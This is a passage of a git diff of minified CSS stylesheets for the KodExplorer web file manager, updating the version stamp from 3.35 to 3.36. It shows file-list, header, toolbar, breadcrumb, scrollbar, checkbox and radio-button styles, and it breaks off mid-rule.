.filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_more{float:left;line-height:28px;height:28px;font-size:1.0em;cursor:default;overflow:hidden;padding-left:15px;}.fileList_list .file .children_more,.fileList_list_split .file .children_more{width:20px;height:28px;text-align:center;padding-left:0px;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{font-size:15px;color:#aaa;cursor:pointer;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{content:"\f0da";}.fileList_list .file .children_more i.font_icon.cert_open::after,.fileList_list_split .file .children_more i.font_icon.cert_open::after{content:"\f0d7";}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:rgba(0,0,0,0.05);color:#63acff;}.fileList_list .file.loading_children .ico .x-item-file,.fileList_list_split .file.loading_children .ico .x-item-file{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.fileList_list .file .filetype,.fileList_list_split .file .filetype{width:90px;}.fileList_list .file .filesize,.fileList_list_split .file .filesize{width:90px;text-align:right;padding-left:0px;padding-right:10px;}.fileList_list .file .filetime,.fileList_list_split .file .filetime{width:200px;}.fileList_list .file .filename,.fileList_list_split .file .filename{width:240px;word-break:break-all;padding-left:0px;}.fileList_list .file .filename .textarea,.fileList_list_split .file .filename .textarea{font-size:1.0em;display:inline-block;margin-left:-2px;}.fileList_list .file .filename #pathRenameTextarea,.fileList_list .file .filename .newfile,.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:24px;line-height:24px;z-index:999;width:200px;min-width:150px;border:none;font-size:1.0em;padding-left:2px;padding-top:2px;}.fileList_list .file .filename #pathRenameTextarea:focus,.fileList_list .file .filename .newfile:focus,.fileList_list_split .file .filename #pathRenameTextarea:focus,.fileList_list_split .file .filename .newfile:focus{outline:none;}.fileList_list .file .filename .title,.fileList_list_split .file .filename .title{word-break:break-all;}.fileList_list .file .ico,.fileList_list_split .file .ico{height:22px;width:22px;padding:0px;line-height:20px;margin-right:4px;margin-top:4px;text-align:center;vertical-align:bottom;display:table-cell;}.fileList_list .file .ico img,.fileList_list_split .file .ico img{height:100% \9;max-height:100%;max-width:100%;margin-top:-5px;}.fileList_list .file .filename .textarea{position:absolute;}.list_split_box{position:absolute;bottom:0px;right:0px;left:0px;top:0px;margin-top:0;overflow:hidden;}.list_split_box .split_line{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;float:left;height:100%;}.fileList_list_split{overflow:hidden;}.fileList_list_split .file{width:97.5%;height:24px;margin-left:0.7%;position:relative;}.fileList_list_split .file.file2{background:none;}.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_open{line-height:22px;height:22px;}.fileList_list_split .file .ico{height:22px;width:22px;margin-left:5px;margin-top:2px;}.fileList_list_split .file .filename{width:100%;}.fileList_list_split .file .filename span.title{position:absolute;overflow:hidden;}.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:23px;line-height:23px;}.fileList_list_split .file .filename .title .textarea{margin-top:-2px;}.fileList_list_split .file .children_open{width:20px;height:28px;text-align:center;padding-left:0px;float:right;}.fileList_list_split .file .children_open i.font_icon{font-size:1.25em;color:#aaa;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;}.fileList_list_split .file .children_open i.font_icon::before{content:"\f0da";line-height:24px;}.fileList_list_split .file.select_split_parent{background:#e3f0ff;}.fileList_list_split .file.select_split_parent .children_open i.font_icon::before{content:"\f101";font-size:20px;}.fileList_list_split .split_box{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;overflow:hidden;position:absolute;bottom:0px;left:0px;top:0px;border-bottom:5px solid transparent;}.fileList_list_split .split_box .content{overflow:auto;height:100%;margin:2px 0px 10px 0px;}.fileList_list_split .split_box.split_hover{background:#eef7ff;background:rgba(0,0,0,0.01);box-shadow:0 0 100px #eef7ff inset;border-bottom:5px solid #acd9ff;}.fileList_list_split .split_box.split_select{background:#dff0ff;background:rgba(0,0,0,0.01);box-shadow:0 0 40px #dff0ff inset;margin-left:-1px;border-left:1px solid #eee;border-color:#acd9ff;border-bottom:5px solid #2196F3;}.fileList_list_split .is_drag_split .split_drag{background:rgba(100,100,100,0.2);}.fileList_list_split .split_drag{position:absolute;top:0px;right:0px;bottom:0px;width:4px;cursor:col-resize;z-index:55;background:url("../../../images/common/resize.png") 2px 50% no-repeat;}.fileList_list_split .content_more{height:100px;position:relative;}.fileList_list_split .file .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list_split .file .children_open i.font_icon:before{display:none \9\0;}.fileList_list_split .file.select_split_parent .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{display:none \9\0;}.fileList_list .file .children_more i.font_icon.cert_open,.fileList_list_split .file .children_more i.font_icon.cert_open{background:url("../../../images/common/tree.png") no-repeat -15px -350px \9\0;}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;}.fileList_list .file .children_more i.font_icon.cert_open:hover,.fileList_list_split .file .children_more i.font_icon.cert_open:hover{background:url("../../../images/common/tree.png") no-repeat -47px -350px \9\0;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}.path_tips{line-height:23px;margin-left:15px;margin-top:1px;float:left;display:none;background:#ddd;color:#777;cursor:pointer;border-radius:3px;padding:1px 8px;position:relative;z-index:7;opacity:0.8;filter:alpha(opacity=80);}.frame-header .btn-group-sm >.btn,.frame-main .btn-group-sm >.btn{padding:3px 7px;}.button_style .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.button_style .btn-default .font-icon{line-height:22px;}.button_style .btn-default:hover,.button_style .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.button_style .btn-default:active{color:#000;border-color:#888;}.button_style .btn-left-radius{border-radius:3px 0px 0px 3px;}.button_style .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle{padding-left:12px;}.header-middle .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.header-middle .btn-default .font-icon{line-height:22px;}.header-middle .btn-default:hover,.header-middle .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.header-middle .btn-default:active{color:#000;border-color:#888;}.header-middle .btn-left-radius{border-radius:3px 0px 0px 3px;}.header-middle .btn-right-radius{border-radius:0px 3px 3px 0px;}.header-middle #yarnball{width:50%;cursor:text;height:26px;overflow:hidden;float:left;border:1px solid #ddd;margin-left:-1px;box-shadow:#e6e6e6 0px 0px 20px inset;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;}.header-middle #yarnball .yarnball{list-style:none;margin:0;margin-top:-1px;padding:0;position:relative;}.header-middle #yarnball .yarnball .yarnlet{display:inline-block;float:left;}.header-middle #yarnball .yarnball .yarnlet a,.header-middle #yarnball .yarnball .yarnlet a:link,.header-middle #yarnball .yarnball .yarnlet a:visited{color:#666;display:inline-block;font-size:1em;padding:0px 15px 0px 20px;margin-left:-15px;position:relative;text-decoration:none;vertical-align:top;line-height:27px;}.header-middle #yarnball .yarnball .yarnlet.first a{margin-left:0px;padding-left:15px;}.header-middle #yarnball .yarnball .yarnlet a{background-image:url("../../../images/common/ybutton.png");background-repeat:no-repeat;background-position:100% 0;cursor:pointer;height:27px;}.header-middle #yarnball .yarnball .yarnlet a:hover{background-position:100% -48px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a:active,.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{background-position:100% -96px;color:#333;}.header-middle #yarnball .yarnball .yarnlet a.curDropToPath{color:#fff;background-position:100% -144px;}.header-middle #yarnball .yarnball .yarnlet .left-yarn{background:url("../../../images/common/ybutton.png") no-repeat 0 -2px;margin-left:-17px;padding:5px 6px 11px 4px;z-index:11;padding-top:5px \9;}.header-middle #yarnball .yarnball .yarnlet a:hover .left-yarn{background-position:0 -50px;}.header-middle #yarnball .yarnball .yarnlet a:active .left-yarn{background-position:0 -98px;}.header-middle #yarnball_input{height:26px;width:50%;cursor:text;float:left;border:1px solid #ddd;display:none;margin-left:-1px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;}.header-middle #yarnball_input input.path{border:none;height:25px;display:block;width:100%;padding:0;padding-left:10px;padding-right:10px;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;background:none;width:94%;font-size:1em;line-height:25px;color:#444;}.header-middle #yarnball_input input:focus{outline:none;}.header-middle .address_ico{display:inline-block;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;vertical-align:top;height:20px;width:20px;margin-right:5px;margin-top:0px;}.header-middle .address_ico img{height:100%;width:100%;max-width:100%;max-height:100%;}.frame-header{height:49px;width:100%;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;min-width:600px;border-bottom:1px solid #ddd;}.frame-header .header-content{padding-top:12px;}.frame-header .header-content button.btn{background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;}.frame-header .header-content .disable .font-icon{opacity:0.4;filter:alpha(opacity=40);}.frame-header .header-content img{border:none;width:18px;height:18px;}.frame-header .header-content a{display:block;float:left;height:19px;height:25px\0;height:20px\9;}.frame-header .header-content .font-icon{font-size:1.25em;line-height:20px;padding:0 0px;}.frame-header .header-content #history_back .font-icon,.frame-header .header-content #history_next .font-icon{padding:0 5px;font-size:20px;}.frame-header .header-content .header-left{float:left;width:80px;padding-left:10px;}.frame-header .header-content .header-left button.disable{box-shadow:inset 0 3px 6px rgba(0,0,0,0.1);opacity:0.5;filter:alpha(opacity=50);}.frame-header .header-content .header-left button.disable .font-icon{color:#bbb;}.frame-header .header-content .header-right{position:absolute;right:20px;top:12px;}.frame-header .header-content .header-right .btn-default{box-shadow:0 2px 8px rgba(0,0,0,0.05);border-radius:0px;height:26px;float:left;font-size:1em;-webkit-transition:border 0.2s;-moz-transition:border 0.2s;-o-transition:border 0.2s;-ms-transition:border 0.2s;transition:border 0.2s;overflow:hidden;padding:0 10px;border:solid 1px #ddd;margin:0 0 0 -1px;outline:none;}.frame-header .header-content .header-right .btn-default .font-icon{line-height:22px;}.frame-header .header-content .header-right .btn-default:hover,.frame-header .header-content .header-right .btn-default:focus{color:#000;border-color:#aaa;-webkit-box-shadow:0 1px 10px rgba(0,0,0,0.2);-moz-box-shadow:0 1px 10px rgba(0,0,0,0.2);box-shadow:0 1px 10px rgba(0,0,0,0.2);}.frame-header .header-content .header-right .btn-default:active{color:#000;border-color:#888;}.frame-header .header-content .header-right .btn-left-radius{border-radius:3px 0px 0px 3px;}.frame-header .header-content .header-right .btn-right-radius{border-radius:0px 3px 3px 0px;}.frame-header .header-content .header-right input{display:block;float:left;border:1px solid #ddd;height:26px;height:26px \9;padding:0;padding-left:10px;padding-right:0px;text-shadow:1px 1px 3px #cce;color:#888;background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;box-shadow:#e6e6e6 0px 0px 20px inset;outline:none;width:91px;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;}.frame-header .header-content .header-right input:focus{box-shadow:#ccc 0px 0px 20px inset;}.frame-main{position:absolute;left:0;right:0;top:40px;bottom:32px;}.frame-main .frame-left{position:absolute;left:0;top:0;bottom:0px;width:199px;border-right:1px solid #ddd;background:#fff;background-attachment:fixed;overflow:auto;z-index:10;}.frame-main .frame-left #folderList{position:absolute;width:100%;top:0px;bottom:85px;overflow:auto;}.frame-main .fileContinerMore{width:1px;height:1px;position:absolute;top:0;}.frame-main .bottom_box{position:absolute;bottom:0px;width:100%;padding:5px 0;overflow:hidden;border-right:none;border-top:1px solid #f3f3f3;border-top:1px solid rgba(0,0,0,0.1);}.frame-main .bottom_box .box_content{padding-left:20px;}.frame-main .bottom_box .cell{background:#f8f8f8;background:#f8f8f8 url("../../../images/common/bg.gif") 0px -2px repeat-x;display:block;border-radius:3px;float:left;text-align:center;color:#888;border:1px solid #ddd;width:65px;padding:2px 5px 0px 5px;margin-right:8px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.frame-main .bottom_box .cell i{display:block;font-size:25px;padding-bottom:0px;text-shadow:none;}.frame-main .bottom_box .cell.recycle_hover,.frame-main .bottom_box .cell.share_hover{background-position:0px -15px;border:1px solid #bbb;color:#666;box-shadow:0 0 4px #eee;cursor:pointer;}.frame-main .frame-resize{width:10px;cursor:col-resize;z-index:100;position:absolute;left:195px;top:0;bottom:0;overflow:hidden;background:url("../../../images/common/resize.png") 0px 50% no-repeat;}.frame-main .frame-resize.active{background:#000;opacity:0.2;filter:alpha(opacity=20);}.frame-main .frame-right{left:200px;right:0;position:absolute;top:0;bottom:0;overflow:hidden;min-width:450px;}.frame-main .frame-right .frame-right-main .font-icon{line-height:16px;padding:0 2px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action{min-width:150px;font-size:1em;}.frame-main .frame-right .frame-right-main .drop-menu-action a{padding:2px 30px;}.frame-main .frame-right .frame-right-main .drop-menu-action .divider{margin:5px 0;}.frame-main .frame-right .frame-right-main .drop-menu-action .disabled a{opacity:0.8;filter:alpha(opacity=80);}.frame-main .frame-right .frame-right-main .kod_path_tool .font-icon{padding-right:5px;}.frame-main .frame-right .frame-right-main .tools{z-index:100;height:34px;min-width:505px;border-bottom:1px solid #ddd;background:#fefefe;-webkit-box-shadow:1px 2px 15px #eee;-moz-box-shadow:1px 2px 15px #eee;box-shadow:1px 2px 15px #eee;}.frame-main .frame-right .frame-right-main .tools a.left:hover,.frame-main .frame-right .frame-right-main .tools a.middle:hover{margin-right:2px;padding-right:8px;}.frame-main .frame-right .frame-right-main .tools a.this{background:#eee;cursor:default;}.frame-main .frame-right .frame-right-main .tools a.this:hover{margin-right:0px;padding-right:10px;border:1px solid #ddd;background:#eee;-webkit-box-shadow:0 2px 8px rgba(0,0,0,0.05);-moz-box-shadow:0 2px 8px rgba(0,0,0,0.05);box-shadow:0 2px 8px rgba(0,0,0,0.05);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;}.frame-main .frame-right .frame-right-main .tools .tools-left{float:left;margin:4px 0 0 10px;width:100%;}.frame-main .frame-right .frame-right-main .tools .tools-left .btn-group{float:left;}.frame-main .frame-right .frame-right-main .tools .tools-left span.msg{display:none;margin-left:20px;float:left;padding-left:30px;font-size:1.1em;color:#888;height:25px;line-height:25px;background:url("../../../images/common/loading.gif") 4px 7px no-repeat;}.frame-main .frame-right .frame-right-main .tools .tools-right{margin:4px 20px 0 0;width:200px;position:absolute;right:0px;}.frame-main .frame-right .frame-right-main .tools .tools-right .btn-group-sm{float:right;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size{float:right;display:none;color:#bbb;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .dropdown-toggle{width:25px;height:25px;display:inline-block;cursor:pointer;line-height:25px;margin-right:5px;text-align:center;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover,.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open{color:#888;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle,.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{background:#f6f6f6;border-radius:3px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider{position:relative;margin-right:-34px;margin-top:30px;padding:10px 0;width:40px;min-width:10px;height:120px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider.dropdown-menu:before{right:13px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider.dropdown-menu:after{right:14px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{height:100%;width:5px;background:#ddd;margin-left:17px;border-radius:3px;cursor:pointer;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle{-webkit-transition:box-shadow 0.2s;-moz-transition:box-shadow 0.2s;-o-transition:box-shadow 0.2s;-ms-transition:box-shadow 0.2s;transition:box-shadow 0.2s;width:16px;height:16px;border-radius:10px;margin-top:10px;cursor:pointer;border-width:1px \9;border:2px solid #96dbfa;background:#fff;position:absolute;margin-left:10px;top:0px;left:0;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle.active{background:#7ed3f9;border-color:#7ed3f9;box-shadow:none;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{width:20px;text-decoration:none;padding:1px 10px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;display:inline-block;text-align:center;border-radius:3px;margin-left:10px;border:1px solid #ddd;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path .font-icon{font-size:18px;line-height:20px;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{border:1px solid #999;}.frame-main .frame-right .dropdown-menu{font-size:1em;}.frame-main .frame-right .bodymain{position:absolute;zoom:1;z-index:0;top:85px;bottom:0;left:0;overflow:auto;width:100%;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;padding-bottom:40px;}.frame-main .frame-right .file_select_info{height:20px;background:#fff;color:#aaa;opacity:0.9;filter:alpha(opacity=90);position:absolute;bottom:5px;margin-left:0px;padding:4px 1em;font-size:1em;line-height:22px;}.frame-main .frame-right .file_select_info .item_num,.frame-main .frame-right .file_select_info .item_select{border-left:3px solid rgba(200,200,200,0.3);border-right:3px solid rgba(200,200,200,0.3);padding-left:5px;padding-right:5px;}.frame-main .frame-right .file_select_info .item_select{padding-left:0.5em;border-left:none;}.user_space_info{height:25spx;width:150px;color:#aaa;overflow:hidden;padding-left:20px;}.user_space_info .space_info_bar{width:150px;}.user_space_info .space_info_bar .space_process{width:150px;}.group_space_use{float:left;padding:2px 10px 0;color:#666;margin-top:-1px;background:url("../../../images/common/buttons_40.png") 0 7px repeat-x;margin-left:10px;border-radius:2px;border:1px solid #ddd;}.fileList_icon div.file{transition:all 0.2s ease 0s;} +/* ver 3.36(2016-12-30) [build 1483112853.1278] */ \ No newline at end of file diff --git a/static/style/skin/base/app_setting.css b/static/style/skin/base/app_setting.css index 40a1555..077493f 100755 --- a/static/style/skin/base/app_setting.css +++ b/static/style/skin/base/app_setting.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.35(2016-12-23) [build 1482476940.3684] */ -::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ 